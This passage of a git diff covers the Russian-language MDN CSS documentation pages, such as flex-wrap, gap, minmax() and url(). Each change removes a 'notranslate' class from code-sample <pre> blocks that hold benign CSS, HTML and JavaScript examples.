Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: minmax(100px, auto); diff --git a/files/ru/web/css/custom-ident/index.html b/files/ru/web/css/custom-ident/index.html index f39bad2791..1e48ff731e 100644 --- a/files/ru/web/css/custom-ident/index.html +++ b/files/ru/web/css/custom-ident/index.html @@ -59,7 +59,7 @@ translation_of: Web/CSS/custom-ident <h3 id="Действительные_идентификаторы">Действительные идентификаторы</h3> -<pre class="notranslate">nono79 Состоит из букв и цифр +<pre>nono79 Состоит из букв и цифр ground-level Состоит из букв, цифр и дефиса -test Буквы, следующие за одним дефисом _internal Буквы, следующие за нижним подчёркиванием @@ -69,7 +69,7 @@ bili\.bob Буквы и экранированная точка <h3 id="Недействительные_идентификаторы">Недействительные идентификаторы</h3> -<pre class="example-bad notranslate">34rem Не может начинаться с цифры +<pre class="example-bad">34rem Не может начинаться с цифры -12rad Не может начинаться с дефиса, за которым следует цифра bili.bob Только буквы, цифры, _ и - можно не экранириовать --toto Не может начинаться с двух дефисов подряд diff --git a/files/ru/web/css/direction/index.html b/files/ru/web/css/direction/index.html index f1de56062b..10bcafb9b7 100644 --- a/files/ru/web/css/direction/index.html +++ b/files/ru/web/css/direction/index.html @@ -21,7 +21,7 @@ translation_of: Web/CSS/direction <h2 id="Syntax">Syntax</h2> -<pre class="brush:css no-line-numbers notranslate">/* Keyword values */ +<pre class="brush:css no-line-numbers">/* Keyword values */ direction: ltr; direction: rtl; @@ -54,7 +54,7 @@ direction: unset; <h3 id="Setting_right-to-left_direction">Setting right-to-left direction</h3> -<pre class="brush: css notranslate">blockquote { +<pre class="brush: css">blockquote { direction: rtl; } </pre> diff --git a/files/ru/web/css/flex-wrap/index.html b/files/ru/web/css/flex-wrap/index.html index 339db730a5..fa6ee2b564 100644 --- a/files/ru/web/css/flex-wrap/index.html +++ b/files/ru/web/css/flex-wrap/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/flex-wrap <p>Свойство <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>flex-wrap</code></strong> задаёт правила вывода flex-элементов — в одну строку или в несколько, с переносом блоков. Если перенос разрешён, то возможно задать направление, в котором выводятся блоки.</p> -<pre class="brush:css no-line-numbers notranslate">flex-wrap: nowrap; +<pre class="brush:css no-line-numbers">flex-wrap: nowrap; flex-wrap: wrap; flex-wrap: wrap-reverse; @@ -48,7 +48,7 @@ flex-wrap: unset; <h3 id="HTML">HTML</h3> <div id="Live_Sample"> -<pre class="brush: html notranslate"><h4>This is an example for flex-wrap:wrap </h4> +<pre class="brush: html"><h4>This is an example for flex-wrap:wrap </h4> <div class="content"> <div class="red">1</div> <div class="green">2</div> @@ -70,7 +70,7 @@ flex-wrap: unset; <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">/* Common Styles */ +<pre class="brush: css">/* Common Styles */ .content, .content1, .content2 { diff --git a/files/ru/web/css/font-variant-ligatures/index.html b/files/ru/web/css/font-variant-ligatures/index.html index 29ca239e00..1640f4b970 100644 --- a/files/ru/web/css/font-variant-ligatures/index.html +++ b/files/ru/web/css/font-variant-ligatures/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/font-variant-ligatures <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:css notranslate">font-variant-ligatures: normal; +<pre class="brush:css">font-variant-ligatures: normal; font-variant-ligatures: none; font-variant-ligatures: common-ligatures; /* <common-lig-values> */ font-variant-ligatures: no-common-ligatures; /* <common-lig-values> */ @@ -74,7 +74,7 @@ font-variant-ligatures: unset; <h2 id="Примеры">Примеры</h2> -<pre class="brush:css notranslate">p { +<pre class="brush:css">p { font-variant-ligatures: none; } </pre> diff --git a/files/ru/web/css/font/index.html b/files/ru/web/css/font/index.html index 7f659fc14f..36e1569c4f 100644 --- a/files/ru/web/css/font/index.html +++ b/files/ru/web/css/font/index.html @@ -88,7 +88,7 @@ translation_of: Web/CSS/font <h2 id="Примеры">Примеры</h2> -<pre class="brush: css notranslate">/* Set the font size to 12px and the line height to 14px. +<pre class="brush: css">/* Set the font size to 12px and the line height to 14px. Set the font family to sans-serif */ p { font: 12px/14px sans-serif } @@ -112,7 +112,7 @@ p { font: status-bar } <div class="hidden"> <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> Change the radio buttons below to see the generated shorthand and it's effect. </p> <form action="createShortHand()"> @@ -208,7 +208,7 @@ p { font: status-bar } <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">body, input { +<pre class="brush: css">body, input { font: 14px arial; overflow: hidden; } @@ -261,7 +261,7 @@ p { font: status-bar } <h4 id="JavaScript">JavaScript</h4> -<pre class="brush: js notranslate">var textAreas = document.getElementsByClassName("curCss"), +<pre class="brush: js">var textAreas = document.getElementsByClassName("curCss"), shortText = "", getCheckedValue, setCss, diff --git a/files/ru/web/css/gap/index.html b/files/ru/web/css/gap/index.html index 016709a2a9..b736666a43 100644 --- a/files/ru/web/css/gap/index.html +++ b/files/ru/web/css/gap/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/gap <h2 id="Syntax">Syntax</h2> -<pre class="brush: css; no-line-numbers notranslate">/* One <length> value */ +<pre class="brush: css; no-line-numbers">/* One <length> value */ gap: 20px; gap: 1em; gap: 3vmin; @@ -70,7 +70,7 @@ gap: unset; <h4 id="HTML">HTML</h4> -<pre class="brush: html; notranslate"><div id="flexbox"> +<pre class="brush: html;"><div id="flexbox"> <div></div> <div></div> <div></div> @@ -82,7 +82,7 @@ gap: unset; <h4 id="CSS">CSS</h4> -<pre class="brush: css; highlight[5] notranslate">#flexbox { +<pre class="brush: css; highlight[5]">#flexbox { display: flex; flex-wrap: wrap; width: 300px; @@ -107,7 +107,7 @@ gap: unset; <h4 id="HTML_2">HTML</h4> -<pre class="brush: html; notranslate"><div id="grid"> +<pre class="brush: html;"><div id="grid"> <div></div> <div></div> <div></div> @@ -122,13 +122,13 @@ gap: unset; <h4 id="CSS_2">CSS</h4> <div class="hidden"> -<pre class="brush: css notranslate">#grid { +<pre class="brush: css">#grid { grid-gap: 20px 5px; } </pre> </div> -<pre class="brush: css; highlight[5] notranslate">#grid { +<pre class="brush: css; highlight[5]">#grid { display: grid; height: 200px; grid-template: repeat(3, 1fr) / repeat(3, 1fr); @@ -149,7 +149,7 @@ gap: unset; <h4 id="HTML_3">HTML</h4> -<pre class="brush: html; notranslate"><p class="content-box"> +<pre class="brush: html;"><p class="content-box"> This is some multi-column text with a 40px column gap created with the CSS <code>gap</code> property. Don't you think that's fun and exciting? I sure do! @@ -158,7 +158,7 @@ gap: unset; <h4 id="CSS_3">CSS</h4> -<pre class="brush: css; highlight[3] notranslate">.content-box { +<pre class="brush: css; highlight[3]">.content-box { column-count: 3; gap: 40px; } diff --git a/files/ru/web/css/grid-auto-flow/index.html b/files/ru/web/css/grid-auto-flow/index.html index 3d8b2e0892..9119b7d34e 100644 --- a/files/ru/web/css/grid-auto-flow/index.html +++ b/files/ru/web/css/grid-auto-flow/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/grid-auto-flow <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: css no-line-numbers notranslate">/* Ключевые свойства и значения */ +<pre class="brush: css no-line-numbers">/* Ключевые свойства и значения */ grid-auto-flow: row; grid-auto-flow: column; grid-auto-flow: dense; @@ -52,7 +52,7 @@ grid-auto-flow: unset; <h3 id="HTML_Content">HTML Content</h3> -<pre class="brush: html notranslate"><div id="grid"> +<pre class="brush: html"><div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> @@ -69,7 +69,7 @@ grid-auto-flow: unset; <h3 id="CSS_Content">CSS Content</h3> -<pre class="brush: css; highlight[7] notranslate">#grid { +<pre class="brush: css; highlight[7]">#grid { height: 200px; width: 200px; display: grid; @@ -100,7 +100,7 @@ grid-auto-flow: unset; background-color: aqua; }</pre> -<pre class="brush: js; hidden notranslate">function changeGridAutoFlow() { +<pre class="brush: js; hidden">function changeGridAutoFlow() { var grid = document.getElementById("grid"); var direction = document.getElementById("direction"); var dense = document.getElementById("dense"); diff --git a/files/ru/web/css/grid-template-columns/index.html b/files/ru/web/css/grid-template-columns/index.html index 7d1656a041..b5ef29242b 100644 --- a/files/ru/web/css/grid-template-columns/index.html +++ b/files/ru/web/css/grid-template-columns/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/grid-template-columns <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: css notranslate">/* Keyword value */ +<pre class="brush: css">/* Keyword value */ grid-template-columns: none; /* <track-list> values */ @@ -85,7 +85,7 @@ grid-template-columns: unset; <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">#grid { +<pre class="brush: css">#grid { display: grid; width: 100%; grid-template-columns: 50px 1fr; @@ -101,7 +101,7 @@ grid-template-columns: unset; <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div id="grid"> +<pre class="brush: html"><div id="grid"> <div id="areaA">A</div> <div id="areaB">B</div> </div></pre> diff --git a/files/ru/web/css/hyphens/index.html b/files/ru/web/css/hyphens/index.html index 4d3f749e17..b14717d8ed 100644 --- a/files/ru/web/css/hyphens/index.html +++ b/files/ru/web/css/hyphens/index.html @@ -19,7 +19,7 @@ translation_of: Web/CSS/hyphens <h2 id="Синтаксис"><font><font>Синтаксис</font></font></h2> -<pre class="brush:css no-line-numbers notranslate">/* Keyword values */ +<pre class="brush:css no-line-numbers">/* Keyword values */ hyphens: none; hyphens: manual; hyphens: auto; @@ -78,7 +78,7 @@ hyphens: unset; <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><dl> +<pre class="brush: html"><dl> <dt><code>none</code>: no hyphen; overflow if needed</dt> <dd lang="en" class="none">An extreme&shy;ly long English word</dd> <dt><code>manual</code>: hyphen only at &amp;hyphen; or &amp;shy; (if needed)</dt> @@ -90,7 +90,7 @@ hyphens: unset; <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">dd { +<pre class="brush: css">dd { width: 55px; border: 1px solid black; } diff --git a/files/ru/web/css/inline-size/index.html b/files/ru/web/css/inline-size/index.html index 065b30334d..beca129e19 100644 --- a/files/ru/web/css/inline-size/index.html +++ b/files/ru/web/css/inline-size/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/inline-size <h2 id="Syntax">Syntax</h2> -<pre class="brush:css no-line-numbers notranslate">/* <length> values */ +<pre class="brush:css no-line-numbers">/* <length> values */ inline-size: 300px; inline-size: 25em; @@ -52,12 +52,12 @@ inline-size: unset; <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><p class="exampleText">Example text</p> +<pre class="brush: html"><p class="exampleText">Example text</p> </pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">.exampleText { +<pre class="brush: css">.exampleText { writing-mode: vertical-rl; background-color: yellow; inline-size: 110px; diff --git a/files/ru/web/css/justify-content/index.html b/files/ru/web/css/justify-content/index.html index 13a30495e0..57c5dbc398 100644 --- a/files/ru/web/css/justify-content/index.html +++ b/files/ru/web/css/justify-content/index.html @@ -18,7 +18,7 @@ translation_of: Web/CSS/justify-content <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:css no-line-numbers notranslate">/* Позиционное выравнивание */ +<pre class="brush:css no-line-numbers">/* Позиционное выравнивание */ justify-content: center; /* Выравнивание элементов по центру */ justify-content: start; /* Выравнивание элементов в начале */ justify-content: end; /* Выравнивание элементов в конце */ @@ -109,7 +109,7 @@ justify-content: unset; <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">#container { +<pre class="brush: css">#container { display: flex; justify-content: space-between; /* Может быть изменено */ } @@ -124,7 +124,7 @@ justify-content: unset; <div class="hidden"> <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div id="container"> +<pre class="brush: html"><div id="container"> <div></div> <div></div> <div></div> @@ -148,7 +148,7 @@ justify-content: unset; <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate">var justifyContent = document.getElementById("justifyContent"); +<pre class="brush: js">var justifyContent = document.getElementById("justifyContent"); justifyContent.addEventListener("change", function (evt) { document.getElementById("container").style.justifyContent = evt.target.value; diff --git a/files/ru/web/css/justify-items/index.html b/files/ru/web/css/justify-items/index.html index ef73c90d93..0695ab5ecc 100644 --- a/files/ru/web/css/justify-items/index.html +++ b/files/ru/web/css/justify-items/index.html @@ -29,7 +29,7 @@ translation_of: Web/CSS/justify-items <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:css no-line-numbers notranslate">/* Основные ключевые слова */ +<pre class="brush:css no-line-numbers">/* Основные ключевые слова */ justify-items: auto; justify-items: normal; justify-items: stretch; diff --git a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html index a0a1200549..983b86da57 100644 --- a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html +++ b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html @@ -24,7 +24,7 @@ translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation <div class="blockIndicator note"> <p><strong>Примечание</strong>: В приведённом выше примере используются два селектора для вставки содержимого перед каждым li, кроме первого. Этого также можно добиться, используя только один селектор:</p> -<pre class="notranslate">.breadcrumb li:not(:first-child)::before { +<pre>.breadcrumb li:not(:first-child)::before { content: "→"; } </pre> diff --git a/files/ru/web/css/minmax()/index.html b/files/ru/web/css/minmax()/index.html index 090a895d53..f8a1a182d4 100644 --- a/files/ru/web/css/minmax()/index.html +++ b/files/ru/web/css/minmax()/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/minmax() --- <p><code><strong>minmax</strong></code><strong><code>()</code></strong> это <a href="/en-US/docs/Web/CSS">CSS</a> ф<span id="result_box" lang="ru"><span>ункция, определяющая диапазон размеров, который больше или равен </span></span><var>min</var><span lang="ru"><span> и меньше или равен </span></span><var>max</var>. Используется в <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">CSS Grids</a>.</p> -<pre class="brush: css no-line-numbers notranslate">/* <inflexible-breadth>, <track-breadth> values */ +<pre class="brush: css no-line-numbers">/* <inflexible-breadth>, <track-breadth> values */ minmax(200px, 1fr) minmax(400px, 50%) minmax(30%, 300px) @@ -64,7 +64,7 @@ minmax(auto, 300px) <h3 id="CSS">CSS</h3> -<pre class="brush: css; highlight[3] notranslate">#container { +<pre class="brush: css; highlight[3]">#container { display: grid; grid-template-columns: minmax(max-content, 300px) minmax(200px, 1fr) 150px; grid-gap: 5px; @@ -83,7 +83,7 @@ minmax(auto, 300px) <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div id="container"> +<pre class="brush: html"><div id="container"> <div> Item as wide as the content,<br/> but at most 300 pixels. diff --git a/files/ru/web/css/object-position/index.html b/files/ru/web/css/object-position/index.html index 8df8e52a1f..8b57b7903a 100644 --- a/files/ru/web/css/object-position/index.html +++ b/files/ru/web/css/object-position/index.html @@ -15,7 +15,7 @@ translation_of: Web/CSS/object-position <h2 id="Syntax">Синтаксис</h2> -<pre class="brush:css no-line-numbers notranslate">/* значения <position> */ +<pre class="brush:css no-line-numbers">/* значения <position> */ object-position: center top; object-position: 100px 50px; @@ -52,7 +52,7 @@ object-position: unset; <p>Здесь мы видим HTML, содержаний два {{HTMLElement("img")}}-элемента, отображающие логотипы MDN.</p> -<pre class="brush: html notranslate"><img id="object-position-1" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/> +<pre class="brush: html"><img id="object-position-1" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/> <img id="object-position-2" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/> </pre> @@ -60,7 +60,7 @@ object-position: unset; <p>CSS содержит стандартные стили для самого <code><img></code>-элемента, а также отдельные стили для обоих изображений.</p> -<pre class="brush: css notranslate">img { +<pre class="brush: css">img { width: 300px; height: 250px; border: 1px solid black; diff --git a/files/ru/web/css/overflow-wrap/index.html b/files/ru/web/css/overflow-wrap/index.html index 2b40e990a1..36a0a13508 100644 --- a/files/ru/web/css/overflow-wrap/index.html +++ b/files/ru/web/css/overflow-wrap/index.html @@ -19,7 +19,7 @@ translation_of: Web/CSS/overflow-wrap <h2 id="Syntax">Syntax</h2> -<pre class="brush:css notranslate">/* Keyword values */ +<pre class="brush:css">/* Keyword values */ overflow-wrap: normal; overflow-wrap: break-word; overflow-wrap: anywhere; @@ -59,7 +59,7 @@ overflow-wrap: unset; <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><p>They say the fishing is excellent at +<pre class="brush: html"><p>They say the fishing is excellent at Lake <em class="normal">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>, though I've never been there myself. (<code>normal</code>)</p> <p>They say the fishing is excellent at @@ -84,7 +84,7 @@ overflow-wrap: unset; <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">p { +<pre class="brush: css">p { width: 13em; margin: 2px; background: gold; diff --git a/files/ru/web/css/text-size-adjust/index.html b/files/ru/web/css/text-size-adjust/index.html index c66164817c..d0cb6f6c4b 100644 --- a/files/ru/web/css/text-size-adjust/index.html +++ b/files/ru/web/css/text-size-adjust/index.html @@ -36,7 +36,7 @@ translation_of: Web/CSS/text-size-adjust <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: css notranslate">/* Text is never inflated */ +<pre class="brush: css">/* Text is never inflated */ text-size-adjust: none; /* Text may be inflated */ diff --git a/files/ru/web/css/touch-action/index.html b/files/ru/web/css/touch-action/index.html index ab1982d906..3562521aa9 100644 --- a/files/ru/web/css/touch-action/index.html +++ b/files/ru/web/css/touch-action/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/touch-action <p>Css-свойство touch-action указывает как элемент будет управляться через тачскрин (например, при помощи возможности приближения (zooming), встроенной в браузер).</p> -<pre class="brush:css no-line-numbers notranslate">/* Keyword values */ +<pre class="brush:css no-line-numbers">/* Keyword values */ touch-action: auto; touch-action: none; touch-action: pan-x; @@ -68,14 +68,14 @@ touch-action: unset; <p>The most common usage is to disable all gestures on an element (and its non-scrollable descendants) that provides its own dragging and zooming behavior – such as a map or game surface. </p> -<pre class="brush: css notranslate">#map { +<pre class="brush: css">#map { touch-action: none; } </pre> <p>Another common pattern is that of an image carousel which uses pointer events to handle horizontal panning, but doesn't want to interfere with vertical scrolling or zooming of the document.</p> -<pre class="brush: css notranslate">.image-carousel { +<pre class="brush: css">.image-carousel { width: 100%; height: 150px; touch-action: pan-y pinch-zoom; @@ -84,7 +84,7 @@ touch-action: unset; <p><strong>touch-action </strong>is also often used to completely disable the delay of <strong>click </strong>events caused by support for the<strong> </strong>double-tap to zoom gesture.</p> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { touch-action: manipulation; } </pre> diff --git a/files/ru/web/css/transform-function/rotate()/index.html b/files/ru/web/css/transform-function/rotate()/index.html index 6e5bbaa87b..2903cd7433 100644 --- a/files/ru/web/css/transform-function/rotate()/index.html +++ b/files/ru/web/css/transform-function/rotate()/index.html @@ -18,7 +18,7 @@ translation_of: Web/CSS/transform-function/rotate() <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">rotate(<em>a</em>) +<pre class="syntaxbox">rotate(<em>a</em>) </pre> <h2 id="Значения">Значения</h2> @@ -56,12 +56,12 @@ translation_of: Web/CSS/transform-function/rotate() <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><div>Normal</div> +<pre class="brush: html"><div>Normal</div> <div class="rotated">Rotated</div></pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { width: 80px; height: 80px; background-color: skyblue; @@ -82,7 +82,7 @@ translation_of: Web/CSS/transform-function/rotate() <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><div>Normal</div> +<pre class="brush: html"><div>Normal</div> <div class="rotate">Rotated</div> <div class="rotate-translate">Rotated + Translated</div> <div class="translate-rotate">Translated + Rotated</div> @@ -90,7 +90,7 @@ translation_of: Web/CSS/transform-function/rotate() <h4 id="CSS_2">CSS</h4> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { position: absolute; left: 40px; top: 40px; diff --git a/files/ru/web/css/transform-function/rotate3d()/index.html b/files/ru/web/css/transform-function/rotate3d()/index.html index 77c045ef84..cb26bcd71f 100644 --- a/files/ru/web/css/transform-function/rotate3d()/index.html +++ b/files/ru/web/css/transform-function/rotate3d()/index.html @@ -23,7 +23,7 @@ translation_of: Web/CSS/transform-function/rotate3d() <p>The amount of rotation created by <code>rotate3d()</code> is specified by three {{cssxref("<number>")}}s and one {{cssxref("<angle>")}}. The <code><number></code>s represent the x-, y-, and z-coordinates of the vector denoting the axis of rotation. The <code><angle></code> represents the angle of rotation; if positive, the movement will be clockwise; if negative, it will be counter-clockwise.</p> -<pre class="syntaxbox notranslate">rotate3d(<em>x</em>, <em>y</em>, <em>z</em>, <em>a</em>) +<pre class="syntaxbox">rotate3d(<em>x</em>, <em>y</em>, <em>z</em>, <em>a</em>) </pre> <h3 id="Values">Values</h3> @@ -65,12 +65,12 @@ translation_of: Web/CSS/transform-function/rotate3d() <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><div>Normal</div> +<pre class="brush: html"><div>Normal</div> <div class="rotated">Rotated</div></pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { perspective: 800px; } @@ -94,12 +94,12 @@ div { <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><div>Normal</div> +<pre class="brush: html"><div>Normal</div> <div class="rotated">Rotated</div></pre> <h4 id="CSS_2">CSS</h4> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { perspective: 800px; } diff --git a/files/ru/web/css/transform-function/skew()/index.html b/files/ru/web/css/transform-function/skew()/index.html index dc730c4c7e..a9f6da3ac3 100644 --- a/files/ru/web/css/transform-function/skew()/index.html +++ b/files/ru/web/css/transform-function/skew()/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/transform-function/skew() <p>Функция <code>skew()</code> задаётся одним или двумя значениями которые отображают наклон в каждом из направлений.</p> -<pre class="syntaxbox notranslate">skew(<em>ax</em>) +<pre class="syntaxbox">skew(<em>ax</em>) skew(<em>ax</em>, <em>ay</em>) </pre> @@ -59,12 +59,12 @@ skew(<em>ax</em>, <em>ay</em>) <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><div>Обычный</div> +<pre class="brush: html"><div>Обычный</div> <div class="skewed">Наклонённый</div></pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { width: 80px; height: 80px; background-color: skyblue; @@ -84,12 +84,12 @@ skew(<em>ax</em>, <em>ay</em>) <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><div>Обычный</div> +<pre class="brush: html"><div>Обычный</div> <div class="skewed">Наклонённый</div></pre> <h4 id="CSS_2">CSS</h4> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { width: 80px; height: 80px; background-color: skyblue; diff --git a/files/ru/web/css/url()/index.html b/files/ru/web/css/url()/index.html index f628fd7873..e93de76d95 100644 --- a/files/ru/web/css/url()/index.html +++ b/files/ru/web/css/url()/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/url() <p><span class="seoSummary">The <code><strong>url()</strong></code> <a href="/en-US/docs/Web/CSS">CSS</a> function is used to include a file. The parameter is an absolute URL, a relative URL, or a data URI. The <code><strong>url()</strong></code> function can be passed as a parameter of another CSS functions, like the {{cssxref('attr()')}} function. Depending on the property for which it is a value, the resource sought can be an image, font, or a stylesheet. The url() functional notation is the value for the <url> data type.</span></p> -<pre class="brush: css no-line-numbers notranslate">/* Simple usage */ +<pre class="brush: css no-line-numbers">/* Simple usage */ url(https://example.com/images/myImg.jpg); url(data:image/png;base64,iRxVB0…); url(myFont.woff); @@ -59,7 +59,7 @@ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); <dl> <dt><url></dt> <dd>A url, which is a relative or absolute address, or pointer, to the web resource to be included, or a data uri, optionally in single or double quotes. Quotes are required if the URL includes parentheses, whitespace, or quotes, unless these characters are escaped, or if the address includes control characters above 0x7e. Double quotes cannot occur inside double quotes and single quotes cannot occur inside single quotes unless escaped. The following are all valid and equivalent: - <pre class="syntaxbox notranslate"><css_property>: url("https://example.com/image.png") + <pre class="syntaxbox"><css_property>: url("https://example.com/image.png") <css_property>: url('https://example.com/image.png') <css_property>: url(https://example.com/image.png)</pre> </dd> @@ -73,7 +73,7 @@ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); <h3 id="Formal_syntax">Formal syntax</h3> -<pre class="syntaxbox notranslate">url( <a href="/en-US/docs/Web/CSS/string"><string></a> <url-modifier>* )</pre> +<pre class="syntaxbox">url( <a href="/en-US/docs/Web/CSS/string"><string></a> <url-modifier>* )</pre> <h2 id="Examples">Examples</h2> @@ -81,7 +81,7 @@ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><ul> +<pre class="brush: html"><ul> <li>Item 1</li> <li>Item 2</li> <li>Item 3</li> @@ -89,7 +89,7 @@ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); <h4 id="CSS">CSS</h4> -<pre class="brush: css highlight[2] notranslate">li::after { +<pre class="brush: css highlight[2]">li::after { content: ' - ' url(https://mdn.mozillademos.org/files/16761/star.gif); }</pre> @@ -102,17 +102,17 @@ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); <div id="color-value"> <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><div class="background"></div></pre> +<pre class="brush: html"><div class="background"></div></pre> <h4 id="CSS_2">CSS</h4> <div class="hidden"> -<pre class="brush: css notranslate">.background { +<pre class="brush: css">.background { height: 100vh; }</pre> </div> -<pre class="brush: css highlight[6] notranslate">.background { +<pre class="brush: css highlight[6]">.background { background: yellow; background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='90' height='45'%3E%3Cpath d='M10 10h60' stroke='%2300F' stroke-width='5'/%3E%3Cpath d='M10 20h60' stroke='%230F0' stroke-width='5'/%3E%3Cpath d='M10 30h60' stroke='red' stroke-width='5'/%3E%3C/svg%3E"); }</pre> diff --git a/files/ru/web/css/vertical-align/index.html b/files/ru/web/css/vertical-align/index.html index 0c01095426..6ada47e5d2 100644 --- a/files/ru/web/css/vertical-align/index.html +++ b/files/ru/web/css/vertical-align/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/vertical-align <p>Свойство <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> <code>vertical-align</code> описывает вертикальное позиционирование строчных (inline), строчно-блочных (inline-block) элементов или ячеек таблицы (table-cell).</p> -<pre class="brush: css no-line-numbers notranslate">/* ключевые значения */ +<pre class="brush: css no-line-numbers">/* ключевые значения */ vertical-align: baseline; vertical-align: sub; vertical-align: super; @@ -37,7 +37,7 @@ vertical-align: unset; </ul> <div id="vertical-align-inline"> -<pre class="hidden brush: html notranslate"><p> +<pre class="hidden brush: html"><p> top:<img style="vertical-align:top" src="https://mdn.mozillademos.org/files/15189/star.png"/> middle:<img style="vertical-align:middle" src="https://mdn.mozillademos.org/files/15189/star.png"/> bottom:<img style="vertical-align:bottom" src="https://mdn.mozillademos.org/files/15189/star.png"/> @@ -55,7 +55,7 @@ text-bottom:<img style="vertical-align:text-bottom" src="https://mdn.mozilla </pre> -<pre class="hidden brush: css notranslate">#* { +<pre class="hidden brush: css">#* { box-sizing: border-box; } @@ -82,7 +82,7 @@ p { </ul> <div id="vertical-align-table"> -<pre class="hidden brush: html notranslate"><table> +<pre class="hidden brush: html"><table> <tr> <td style="vertical-align: baseline">baseline</td> <td style="vertical-align: top">top</td> @@ -92,7 +92,7 @@ p { <p>Существует теория, которая утверждает, что если однажды кто-нибудь доподлинно выяснит, что такое и для чего нужна Вселенная, она тотчас же исчезнет, и вместо неё появится нечто ещё более причудливое и необъяснимое.</p> <p>Существует и другая теория, согласно которой это уже случилось.</p></pre> -<pre class="hidden brush: css notranslate">table { +<pre class="hidden brush: css">table { margin-left: auto; margin-right: auto; width: 80%; @@ -182,7 +182,7 @@ td { <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div>Изображение <img src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /> с выравниванием по умолчанию.</div> +<pre class="brush: html"><div>Изображение <img src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /> с выравниванием по умолчанию.</div> <div>Изображение <img class="top" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /> с выравниванием по верхнему краю.</div> <div>Изображение <img class="bottom" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /> с выравниванием по нижнему краю.</div> <div>Изображение <img class="middle" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /> с выравниванием по центру.</div> @@ -190,7 +190,7 @@ td { <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">img.top { vertical-align: text-top; } +<pre class="brush: css">img.top { vertical-align: text-top; } img.bottom { vertical-align: text-bottom; } img.middle { vertical-align: middle; } </pre> diff --git a/files/ru/web/css/white-space/index.html b/files/ru/web/css/white-space/index.html index 5d817d3260..10f3c3bce0 100644 --- a/files/ru/web/css/white-space/index.html +++ 